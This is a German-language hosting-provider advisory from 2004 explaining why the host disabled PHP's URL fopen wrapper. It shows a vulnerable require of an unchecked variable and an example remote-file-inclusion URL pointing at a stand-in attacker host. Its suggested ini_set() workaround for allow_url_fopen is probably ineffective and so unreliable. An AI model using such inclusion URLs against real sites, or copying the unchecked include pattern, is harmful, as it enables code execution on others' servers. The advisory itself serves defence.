Search

 
Anmelden
Wissensdatenbank
fopen-url Wrapper
Gepostet von Administrator an 29 October 2004 10:40 AM

Aufgrund vieler Hacker Attackne haben wir den fopen-url Wrapper deaktiviert. Die nachfolgende Informationen sind für Sie relevant, wenn Sie PHP-Scripts einsetzen, die URLs in den IO-Funktionen von PHP verwenden, also z.B. in fopen(), require(), file() und include().


*** Beispiel:

fopen("http://Domain.de/index.html","r");

Bitte beachten Sie, dass diese Funktionen auch standardmässig in eine Reihe von frei erhältlichen PHP-Foren, PHP-Boards, PHP-Shop-Systeme, Content-Management-Systeme usw. eingebunden sind und updaten Sie Ihre Anwendungen auf die neusten, verfügbaren Versionen!


*** Nicht betroffen:

Sollten Sie lediglich folgende Variante benutzen:

fopen("/home/username/test-file","r");

oder http, ftp, https-Urls über fsockopen-Operationen öffnen, sind diese Informationen für Sie nicht von Relevanz!


*** Ihre Verantwortung:

Wir möchten Sie darauf aufmerksam machen, dass Sie verantwortlich sind für die von Ihnen eingesetzten Scripts (siehe unsere AGBs). Wir bitten Sie daher, Ihre Scripts regelmässig auf Sicherheitslücken zu überprüfen (z.B. via Webseite Entwickler etc). Die Kosten, die aufgrund von Sicherheitslücken in Scripts auf Kunden-Webseiten entstehen, können von uns nicht übernommen werden und werden daher von uns weiterverrechnet!


************ INHALTSÜBERSICHT ************

*** (1.) SICHERHEITSLÖCHER DURCH FOPEN
*** (2.) DIE FOLGEN FÜR SIE
*** (3.) WAS WERDEN WIR ÄNDERN?
*** (4.) WAS MÜSSEN SIE ÄNDERN?
*** (5.) HINWEISE FüR FOREN-/BOARD-BETREIBER


*** (1) SICHERHEITSLÖCHER DURCH FOPEN-URL-WRAPPER

Auf unseren ServerSystemen war es über die meisten PHP-IO-Funktionen (fopen, require, include, file, file_get_contents) möglich, http, https und ftp-urls zu öffnen. Bei diversen anfälligen PHP-Scripts führt dies zur Möglichkeit Programme mit den Rechten des Users auszuführen. Probleme entstanden vor allem bei der Benutzung von Variablen in include und require-Funktionen.

Findet sich in einem PHP-Script z.B. folgender Code:

require ("$file");

konnte dies zur Ausführung von fremden Code im PHP-Script führen. Dabei geht der Angreifer wie folgt vor: Das PHP-Script wird in einer speziell ausgestalteten URL aufgerufen. Im Beispiel des o.a. Scripts könnte dies z.B. wie folgt aussehen:

http://domain.ch/script.php?file=http://hackerdomain.com/php-code.php

Da bei der bisherigen Konfiguration von PHP alle POST und GET-Variablen global definiert wurden, wurde die URL http://hackerdomain.com/php-code.php eingelesen und der enthaltenen Code ausgeführt.

Die URL könnte z.B. folgenden Code enthalten:

print "It worked ... let's have phun";
?>

Anstelle des prints wird der Angreifer im Regelfall selbstverständlich Routinen implementieren, mit denen er aus dem Internet Shells lädt, über die er dann beliebige Programme mit den Rechten ihres Benutzers ausführen kann!


*** (2.) DIE FOLGEN FÜR SIE

Hatte ein Angreifer auf über den o.a. Weg Zugang zu Ihrer Präsenz erlangt, hatte er die volle Kontrolle über alle Inhalte, d.h. er konnte mit IHREN Benutzerrechten:

- Ihre Daten lesen und so ggf. Zugangsdaten zu Ihrer Datenbank auslesen,
- alle Inhalte manipulieren / löschen,
- jegliche Logins per ftp usw. herstellen, Mails versenden, manipulieren,
- Programme installieren und ausführen usw.

und damit ggf. erheblichen Schaden auch auf anderen Servern oder Präsenzen anrichten. Der Angriff ging dabei für die weiteren Geschädigten von IHRER Webseite aus!


*** (3.) WAS HABEN WIR GEÄNDERT?

Aufgrund der gehäuften Probleme und der aktuellen Hacker-Attacke haben wir per sofort den fopen-url Wrapper deaktiviert! Sie haben jedoch die Option ihn bei Bedarf in Ihren Scripts wieder zu aktivieren (Details siehe unten).

Wir bitten um Verständnis für diese sofortige Massnahme. Die aktuelle Entwicklung verlangte allerdings ein rasches Handeln!


*** (4.) WAS MÜSSEN SIE ÄNDERN?

Sollten Sie keine http, https oder ftp-urls in den IO-Funktionen verwenden, ändert sich für Sie nichts! Sollten Sie solche oder ähnliche URLs verwenden,

fopen("http://IhreDomain.xy","r");
include("http://IhreDomain.xy");

müssen Sie, um die Funktion weiter funktionstüchtig zu halten, den Code wie folgt ändern:

ini_set("allow_url_fopen","1");
fopen("http://IhreDomain.xy","r");
include("http://IhreDomain.xy");
ini_set("allow_url_fopen","0");

Bitte aktivieren Sie die url-Wrapper NICHT global sondern nur an den benötigten Stellen und achten Sie bei include und require darauf, keine ungeprüften Variablen zu includieren.

Stellen Sie weiterhin sicher, dass Sie die ini_set() Funktion innerhalb eines PHP Ausführungsbereiches einfügen, also im Bereich zwischen ?>, oder auch .

Sollten Sie Dateien auf dem lokalen System includieren ändert sich für Sie nichts und sie müssen die url-wrapper auch nicht aktivieren!

Aufgrund unserer Erfahrung zeigt sich, dass nur sehr wenige Scripts einer Anpassung bedürfen, da in der Regel nur lokale Dateien gelesen bzw. includiert werden.


Kommentare (0)